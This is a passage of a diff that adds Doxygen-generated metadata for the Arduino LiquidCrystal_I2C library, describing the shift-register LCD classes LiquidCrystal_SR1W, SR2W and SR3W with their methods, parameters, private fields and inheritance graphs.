<<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '328'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a82d844569eb258559afb40ab354eb0a5'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '340'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a69e25db9a22f6db2298a491f7ad1e584'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clearSR'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '357'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Clears the shift register to ensure the Latch/Enable pins aren't + triggered accidentally. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a0327b271d94edec240063b64406bf0b9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_sr1w_circuitType +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'circuitType'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '350'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1afcb233448f4cec3f4074a812554dc389'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '363'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a925c01c77c3fa96b8f9e9b0861f25ded'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '371'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1aed16f51df5f5a6aaadabdc4ccc04b998'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blPolarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '370'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a03ff5be51ff970ec73a521740d4a4d97'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +t_sr1w_circuitType +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_circuitType'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '368'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1a1a23b85dfd7f61b455959f5c43b4654c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '366'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r1_w_1ad8d5ad6e9b25dd1c86b17a73ddc61369'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + sec-mem-desc-line = '365'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + cp-fileline = '300'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 29; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 28; + node-label = 'LiquidCrystal_SR1W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r1_w'; + }; + node-child = { + child-id = '29'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 31; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 30; + node-label = 'LiquidCrystal_SR1W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r1_w'; + }; + node-child = { + child-id = '31'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r2_w'; + cp-name = 'LiquidCrystal_SR2W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1af307fdf5c8feb757e965074dcdeb1dd3'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR2W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +POSITIVE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '151'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD 2 wire SHIFT REGISTER constructor. + @discussion Defines the pin assignments that connect to the shift register. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] Arduino pin for shift register data line. + @param srclock[in] Arduino pin for shift register clock line. + @param blpol[in] optional backlight polarity (default = POSITIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a65dc6f261c319be8e56f3c1f6a5c877d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '165'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2158db27287c1564a03e7a1472beb3b6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '177'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode[in] backlight mode (0 off, non-zero on) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a12c14153e7056cb4a98310529bace6a8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'blpol'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '186'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ae369efcd3fca47a018a034f5f4a1679b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'loadSR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '192'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a3b1dfb83ad02274c30fa940a10619737'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a906f803e1ae324b5383fa004093124f4'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_blPolarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a27727d63c1ce0f9aada630814b8f022b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1aa36d38c009bf846e7726fc48c0067fc3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1ad188042fdcc7df0178248401c678eb8e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r2_w_1a2e43c3f1d6b0e5599a1b4d14ef428077'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srDataRegister'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR2W.h'; + cp-fileline = '138'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 33; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 32; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '33'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 35; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 34; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '35'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r3_w'; + cp-name = 'LiquidCrystal_SR3W'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1ae1396bcd5e9c5b7ed13182c166de776b'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '90'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the IO driving the + shift register. The constructor does not initialize the LCD. + Default configuration: + Shift register LCD + QA - 0 DB4 + QB - 1 DB5 + QC - 2 DB6 + QD - 3 DB7 + QE - 4 E + QF - 5 + QG - 6 Rs + GND Rw + + @param strobe[in] digital IO connected to shiftregister strobe pin. + @param data[in] digital IO connected to the shiftregister data pin. + @param clk[in] digital IO connected to the shiftregister clock pin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a7b2f382b76bc9d88adb8d681e824b4de'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR3W.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r3_w_1a24f051747dfeda48f7b207c3358c8015'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR3W'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'clk'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'strobe'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; 